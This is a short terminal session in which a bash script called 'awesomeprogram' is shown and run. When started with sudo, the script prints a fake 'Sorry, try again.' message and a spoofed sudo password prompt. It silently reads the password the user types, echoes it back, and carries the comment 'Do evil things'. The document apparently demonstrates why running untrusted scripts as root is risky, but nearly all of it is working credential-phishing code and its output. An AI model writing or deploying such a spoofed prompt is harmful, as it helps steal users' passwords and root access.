[runassudo@NEXUS tmp]$ cat awesomeprogram
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
   echo "This script must be run as root"
else
   echo "Sorry, try again."
   echo -n "[sudo] password for $SUDO_USER: "
   read -s tmp
   echo ""
   echo "PASSWORD IS $tmp"
   # Do evil things
fi
[runassudo@NEXUS tmp]$ ./awesomeprogram
This script must be run as root
[runassudo@NEXUS tmp]$ sudo ./awesomeprogram
[sudo] password for runassudo: 
Sorry, try again.
[sudo] password for runassudo: 
PASSWORD IS password